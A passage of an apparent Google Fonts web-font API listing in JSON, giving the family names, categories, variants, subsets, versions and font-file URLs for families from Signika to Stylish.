      "files": {
        "300": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE_oEI3BDa0AdytM.ttf",
        "regular": "http://fonts.gstatic.com/s/signika/v10/vEFR2_JTCgwQ5ejvK1YsB3hod0k.ttf",
        "600": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE44CI3BDa0AdytM.ttf",
        "700": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE-oDI3BDa0AdytM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Signika Negative",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKal6DipHD6z_iXAs.ttf",
        "regular": "http://fonts.gstatic.com/s/signikanegative/v10/E218_cfngu7HiRpPX3ZpNE4kY5zKUvKrrpno9zY.ttf",
        "600": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKaiqFipHD6z_iXAs.ttf",
        "700": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKak6EipHD6z_iXAs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Simonetta",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/simonetta/v10/x3dickHVYrCU5BU15c4BfPACvy_1BA.ttf",
        "italic": "http://fonts.gstatic.com/s/simonetta/v10/x3dkckHVYrCU5BU15c4xfvoGnSrlBBsy.ttf",
        "900": "http://fonts.gstatic.com/s/simonetta/v10/x3dnckHVYrCU5BU15c45-N0mtwTpDQIrGg.ttf",
        "900italic": "http://fonts.gstatic.com/s/simonetta/v10/x3d5ckHVYrCU5BU15c4xfsKCsA7tLwc7Gn88.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Single Day",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/singleday/v1/LYjHdGDjlEgoAcF95EI5jVoFUNfeQJU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sintony",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sintony/v7/XoHm2YDqR7-98cVUITQnu98ojjs.ttf",
        "700": "http://fonts.gstatic.com/s/sintony/v7/XoHj2YDqR7-98cVUGYgIn9cDkjLp6C8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sirin Stencil",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sirinstencil/v8/mem4YaWwznmLx-lzGfN7MdRydchGBq6al6o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Six Caps",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sixcaps/v10/6ae_4KGrU7VR7bNmabcS9XXaPCop.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Skranji",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/skranji/v7/OZpDg_dtriVFNerMYzuuklTm3Ek.ttf",
        "700": "http://fonts.gstatic.com/s/skranji/v7/OZpGg_dtriVFNerMW4eBtlzNwED-b4g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Slabo 13px",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/slabo13px/v7/11hEGp_azEvXZUdSBzzRcKer2wkYnvI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Slabo 27px",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/slabo27px/v6/mFT0WbgBwKPR_Z4hGN2qsxgJ1EJ7i90.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Slackey",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/slackey/v10/N0bV2SdQO-5yM0-dKlRaJdbWgdY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Smokum",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/smokum/v10/TK3iWkUbAhopmrdGHjUHte5fKg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Smythe",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/smythe/v10/MwQ3bhT01--coT1BOLh_uGInjA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sniglet",
      "category": "display",
      "variants": [
        "regular",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sniglet/v11/cIf9MaFLtkE3UjaJxCmrYGkHgIs.ttf",
        "800": "http://fonts.gstatic.com/s/sniglet/v11/cIf4MaFLtkE3UjaJ_ImHRGEsnIJkWL4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Snippet",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/snippet/v9/bWt47f7XfQH9Gupu2v_Afcp9QWc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Snowburst One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/snowburstone/v7/MQpS-WezKdujBsXY3B7I-UT7eZ-UPyacPbo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sofadi One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sofadione/v8/JIA2UVBxdnVBuElZaMFGcDOIETkmYDU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sofia",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sofia/v8/8QIHdirahM3j_vu-sowsrqjk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Solway",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "700",
        "800"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v2",
      "lastModified": "2020-03-03",
      "files": {
        "300": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuLlgZms0QW3mqyg.ttf",
        "regular": "http://fonts.gstatic.com/s/solway/v2/AMOQz46Cs2uTAOCWgnA9kuYMUg.ttf",
        "500": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCudlkZms0QW3mqyg.ttf",
        "700": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuPl8Zms0QW3mqyg.ttf",
        "800": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuIlwZms0QW3mqyg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Song Myung",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/songmyung/v8/1cX2aUDWAJH5-EIC7DIhr1GqhcitzeM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sonsie One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sonsieone/v8/PbymFmP_EAnPqbKaoc18YVu80lbp8JM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sorts Mill Goudy",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3GZR9MED_6PSuS_50nEaVrfzgEXH0OjpM75PE.ttf",
        "italic": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3AZR9MED_6PSuS_50nEaVrfzgEbH8EirE-9PGLfQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Source Code Pro",
      "category": "monospace",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-08-22",
      "files": {
        "200": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt8srztO0rzmmkDQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMbtecv7Gy0DRzS.ttf",
        "300": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtlsnztO0rzmmkDQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONN_tucv7Gy0DRzS.ttf",
        "regular": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_SiYsKILxRpg3hIP6sJ7fM7PqVOuHXvMY3xw.ttf",
        "italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_QiYsKILxRpg3hIP6sJ7fM7PqlOOvTnsMnx3C9.ttf",
        "500": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtzsjztO0rzmmkDQ.ttf",
        "500italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMnt-cv7Gy0DRzS.ttf",
        "600": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt4s_ztO0rzmmkDQ.ttf",
        "600italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMLsOcv7Gy0DRzS.ttf",
        "700": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqths7ztO0rzmmkDQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNvsecv7Gy0DRzS.ttf",
        "900": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtvszztO0rzmmkDQ.ttf",
        "900italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNXs-cv7Gy0DRzS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Source Sans Pro",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-23",
      "files": {
        "200": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i94_AkB1v_8CGxg.ttf",
        "200italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZYokRdr3cWWxg40.ttf",
        "300": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zAkB1v_8CGxg.ttf",
        "300italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZMkhdr3cWWxg40.ttf",
        "regular": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK3dSBYKcSV-LCoeQqfX1RYOo3aP6TkmDZz9g.ttf",
        "italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK1dSBYKcSV-LCoeQqfX1RYOo3qPa7gujNj9tmf.ttf",
        "600": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rAkB1v_8CGxg.ttf",
        "600italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZY4lBdr3cWWxg40.ttf",
        "700": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ig4vAkB1v_8CGxg.ttf",
        "700italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZclRdr3cWWxg40.ttf",
        "900": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3iu4nAkB1v_8CGxg.ttf",
        "900italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZklxdr3cWWxg40.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Source Serif Pro",
      "category": "serif",
      "variants": [
        "regular",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIQzD-0qpwxpaWvjeD0X88SAOeaiXM0oSOL2Yw.ttf",
        "600": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasasahSugxYUvZrI.ttf",
        "700": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasc8bhSugxYUvZrI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Space Mono",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/spacemono/v5/i7dPIFZifjKcF5UAWdDRUEZ2RFq7AwU.ttf",
        "italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dNIFZifjKcF5UAWdDRYER8QHi-EwWMbg.ttf",
        "700": "http://fonts.gstatic.com/s/spacemono/v5/i7dMIFZifjKcF5UAWdDRaPpZYFKQHwyVd3U.ttf",
        "700italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dSIFZifjKcF5UAWdDRYERE_FeaGy6QZ3WfYg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spartan",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-02-25",
      "files": {
        "100": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuG6OChXtf4qS.ttf",
        "200": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFuW6OChXtf4qS.ttf",
        "300": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrHbuW6OChXtf4qS.ttf",
        "regular": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuW6OChXtf4qS.ttf",
        "500": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrG3uW6OChXtf4qS.ttf",
        "600": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFbvm6OChXtf4qS.ttf",
        "700": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFivm6OChXtf4qS.ttf",
        "800": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFvm6OChXtf4qS.ttf",
        "900": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEsvm6OChXtf4qS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Special Elite",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/specialelite/v10/XLYgIZbkc4JPUL5CVArUVL0nhncESXFtUsM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spectral",
      "category": "serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9v2s13GY_etWWIJ.ttf",
        "200italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qrXHafOPXHIJErY.ttf",
        "300": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uSsF3GY_etWWIJ.ttf",
        "300italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qtHEafOPXHIJErY.ttf",
        "regular": "http://fonts.gstatic.com/s/spectral/v6/rnCr-xNNww_2s0amA-M-mHnOSOuk.ttf",
        "italic": "http://fonts.gstatic.com/s/spectral/v6/rnCt-xNNww_2s0amA9M8kn3sTfukQHs.ttf",
        "500": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vKsV3GY_etWWIJ.ttf",
        "500italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qonFafOPXHIJErY.ttf",
        "600": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vmtl3GY_etWWIJ.ttf",
        "600italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qqXCafOPXHIJErY.ttf",
        "700": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uCt13GY_etWWIJ.ttf",
        "700italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qsHDafOPXHIJErY.ttf",
        "800": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uetF3GY_etWWIJ.ttf",
        "800italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qt3AafOPXHIJErY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spectral SC",
      "category": "serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1qwkTXPYeVXJZB.ttf",
        "200italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg26zWN4O3WYZB_sU.ttf",
        "300": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0OwUTXPYeVXJZB.ttf",
        "300italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28jVN4O3WYZB_sU.ttf",
        "regular": "http://fonts.gstatic.com/s/spectralsc/v5/KtkpALCRZonmalTgyPmRfvWi6WDfFpuc.ttf",
        "italic": "http://fonts.gstatic.com/s/spectralsc/v5/KtkrALCRZonmalTgyPmRfsWg42T9E4ucRY8.ttf",
        "500": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1WwETXPYeVXJZB.ttf",
        "500italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg25DUN4O3WYZB_sU.ttf",
        "600": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs16x0TXPYeVXJZB.ttf",
        "600italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg27zTN4O3WYZB_sU.ttf",
        "700": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0exkTXPYeVXJZB.ttf",
        "700italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg29jSN4O3WYZB_sU.ttf",
        "800": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0CxUTXPYeVXJZB.ttf",
        "800italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28TRN4O3WYZB_sU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spicy Rice",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/spicyrice/v8/uK_24rSEd-Uqwk4jY1RyGv-2WkowRcc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spinnaker",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/spinnaker/v11/w8gYH2oyX-I0_rvR6Hmn3HwLqOqSBg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Spirax",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/spirax/v8/buE3poKgYNLy0F3cXktt-Csn-Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Squada One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/squadaone/v8/BCasqZ8XsOrx4mcOk6MtWaA8WDBkHgs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sree Krushnadevaraya",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sreekrushnadevaraya/v7/R70FjzQeifmPepmyQQjQ9kvwMkWYPfTA_EWb2FhQuXir.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Sriracha",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/sriracha/v4/0nkrC9D4IuYBgWcI9ObYRQDioeb0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Srisakdi",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/srisakdi/v3/yMJRMIlvdpDbkB0A-jq8fSx5i814.ttf",
        "700": "http://fonts.gstatic.com/s/srisakdi/v3/yMJWMIlvdpDbkB0A-gIAUghxoNFxW0Hz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Staatliches",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/staatliches/v3/HI_OiY8KO6hCsQSoAPmtMbectJG9O9PS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stalemate",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stalemate/v7/taiIGmZ_EJq97-UfkZRpuqSs8ZQpaQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stalinist One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v25",
      "lastModified": "2019-12-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stalinistone/v25/MQpS-WezM9W4Dd7D3B7I-UT7eZ-UPyacPbo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stardos Stencil",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n94bcuGPC8hrvEOHXOgaKCc2TR71R3tiSx0g.ttf",
        "700": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n44bcuGPC8hrvEOHXOgaKCc2TpU3tTvg-t29HSHw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stint Ultra Condensed",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stintultracondensed/v8/-W_gXIrsVjjeyEnPC45qD2NoFPtBE0xCh2A-qhUO2cNvdg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stint Ultra Expanded",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stintultraexpanded/v7/CSRg4yNNh-GbW3o3JkwoDcdvMKMf0oBAd0qoATQkWwam.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stoke",
      "category": "serif",
      "variants": [
        "300",
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/stoke/v9/z7NXdRb7aTMfKNvFVgxC_pjcTeWU.ttf",
        "regular": "http://fonts.gstatic.com/s/stoke/v9/z7NadRb7aTMfKONpfihK1YTV.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Strait",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/strait/v7/DtViJxy6WaEr1LZzeDhtkl0U7w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Stylish",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/stylish/v8/m8JSjfhPYriQkk7-fo35dLxEdmo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
